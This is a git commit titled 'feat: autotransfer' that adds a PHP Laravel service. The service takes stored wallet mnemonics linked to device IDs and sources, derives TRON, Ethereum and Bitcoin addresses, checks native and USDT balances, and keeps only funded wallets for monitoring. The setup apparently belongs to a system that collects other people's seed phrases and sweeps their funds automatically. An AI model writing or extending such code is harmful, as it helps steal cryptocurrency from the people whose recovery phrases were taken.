feat: autotransfer
This commit is contained in:
@@ -0,0 +1,151 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\ChainDriver;
|
||||
use App\Services\Chain\ChainManager;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
|
||||
* query balances, and persist only chains that have a positive balance.
|
||||
*/
|
||||
class MnemonicWalletDiscovery
|
||||
{
|
||||
/** @var list<array{chain: string, chain_type: string}> */
|
||||
private const CHAINS = [
|
||||
['chain' => 'tron', 'chain_type' => 'TRON'],
|
||||
['chain' => 'eth', 'chain_type' => 'ETH'],
|
||||
['chain' => 'btc', 'chain_type' => 'BTC'],
|
||||
];
|
||||
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @return int Number of address rows created or updated with positive balance
|
||||
*/
|
||||
public function discoverFundedIndexZero(WalletMnemonic $mnemonic): int
|
||||
{
|
||||
$phrase = $mnemonic->mnemonic;
|
||||
if ($phrase === null || trim($phrase) === '') {
|
||||
return 0;
|
||||
}
|
||||
|
||||
$existing = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->exists();
|
||||
if ($existing) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
$source = trim((string) ($mnemonic->source ?: ''));
|
||||
$saved = 0;
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
try {
|
||||
if ($this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type'])) {
|
||||
$saved++;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'chain' => $spec['chain'],
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return $saved;
|
||||
}
|
||||
|
||||
private function discoverOne(
|
||||
WalletMnemonic $mnemonic,
|
||||
string $phrase,
|
||||
string $source,
|
||||
string $chain,
|
||||
string $chainType,
|
||||
): bool {
|
||||
$driver = $this->chains->resolve($chain);
|
||||
$address = $driver->deriveAddress($phrase, 0);
|
||||
$coins = $this->fetchCoins($chain, $address);
|
||||
if (! $this->hasPositiveBalance($coins)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$row = WalletAddress::query()->firstOrNew([
|
||||
'device_id' => $mnemonic->device_id,
|
||||
'address' => $address,
|
||||
'source' => $source !== '' ? $source : null,
|
||||
]);
|
||||
|
||||
$row->chain_type = $chainType;
|
||||
$row->mnemonic_id = $mnemonic->id;
|
||||
$row->derive_index = 0;
|
||||
if (! $row->exists) {
|
||||
$row->monitor = 0;
|
||||
}
|
||||
foreach ($coins as $col => $value) {
|
||||
$row->{$col} = $value;
|
||||
}
|
||||
$row->save();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, string>
|
||||
*/
|
||||
private function fetchCoins(string $chain, string $address): array
|
||||
{
|
||||
$driver = $this->chains->resolve($chain);
|
||||
|
||||
return match ($chain) {
|
||||
'tron' => [
|
||||
'trx' => $driver->getNativeBalance($address),
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
|
||||
],
|
||||
'eth' => [
|
||||
'eth' => $driver->getNativeBalance($address),
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
||||
],
|
||||
'btc' => [
|
||||
'btc' => $driver->getNativeBalance($address),
|
||||
],
|
||||
default => [],
|
||||
};
|
||||
}
|
||||
|
||||
private function tokenBalance(ChainDriver $driver, string $address, string $contract): string
|
||||
{
|
||||
$contract = trim($contract);
|
||||
if ($contract === '') {
|
||||
return '0';
|
||||
}
|
||||
|
||||
try {
|
||||
return (string) $driver->getTokenBalance($address, $contract);
|
||||
} catch (\Throwable) {
|
||||
return '0';
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, string> $coins
|
||||
*/
|
||||
private function hasPositiveBalance(array $coins): bool
|
||||
{
|
||||
foreach ($coins as $value) {
|
||||
if (! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
if (bccomp((string) $value, '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user